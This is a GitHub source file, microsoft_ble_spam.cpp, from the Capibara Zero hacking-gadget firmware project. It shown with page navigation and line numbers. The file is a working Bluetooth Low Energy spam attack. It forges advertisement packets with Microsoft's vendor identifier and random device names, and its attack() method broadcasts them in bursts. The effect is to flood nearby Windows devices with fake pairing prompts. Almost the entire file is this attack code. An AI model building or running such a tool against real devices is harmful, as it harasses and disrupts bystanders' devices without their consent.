-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmicrosoft_ble_spam.cpp
75 lines (66 loc) · 2.38 KB
/
microsoft_ble_spam.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/*
* This file is part of the Capibara zero project(https://capibarazero.github.io/).
* Copyright (c) 2023 Andrea Canale.
* Copyright (c) 2023 Spooks4576
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, version 3.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "microsoft_ble_spam.hpp"
#include <cstring>
MicrosoftBleSpam::MicrosoftBleSpam()
{
pServer = NimBLEDevice::createServer();
pAdvertising = pServer->getAdvertising();
}
MicrosoftBleSpam::~MicrosoftBleSpam()
{
pServer->stopAdvertising();
}
const char *MicrosoftBleSpam::generate_random_name() {
const char* charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int len = rand() % 10 + 1; // Generate a random length between 1 and 10
char* randomName = (char*)malloc((len + 1) * sizeof(char)); // Allocate memory for the random name
for (int i = 0; i < len; ++i) {
randomName[i] = charset[rand() % strlen(charset)]; // Select random characters from the charset
}
randomName[len] = '\0'; // Null-terminate the string
return randomName;
}
NimBLEAdvertisementData MicrosoftBleSpam::getOAdvertisementData()
{
NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData();
const char *name = generate_random_name();
size_t name_length = strlen(name);
uint8_t packet[7 + name_length];
uint8_t i = 0;
packet[i++] = 6 + name_length; // Size
packet[i++] = 0xFF;
packet[i++] = 0x06;
packet[i++] = 0x00;
packet[i++] = 0x03;
packet[i++] = 0x00;
packet[i++] = 0x80;
memcpy(&packet[i], name, name_length);
i += name_length;
randomAdvertisementData.addData(std::string((char *)packet, 7 + name_length));
return randomAdvertisementData;
}
void MicrosoftBleSpam::attack()
{
delay(40);
NimBLEAdvertisementData advertisementData = getOAdvertisementData();
pAdvertising->setAdvertisementData(advertisementData);
pAdvertising->start();
delay(20);
pAdvertising->stop();
}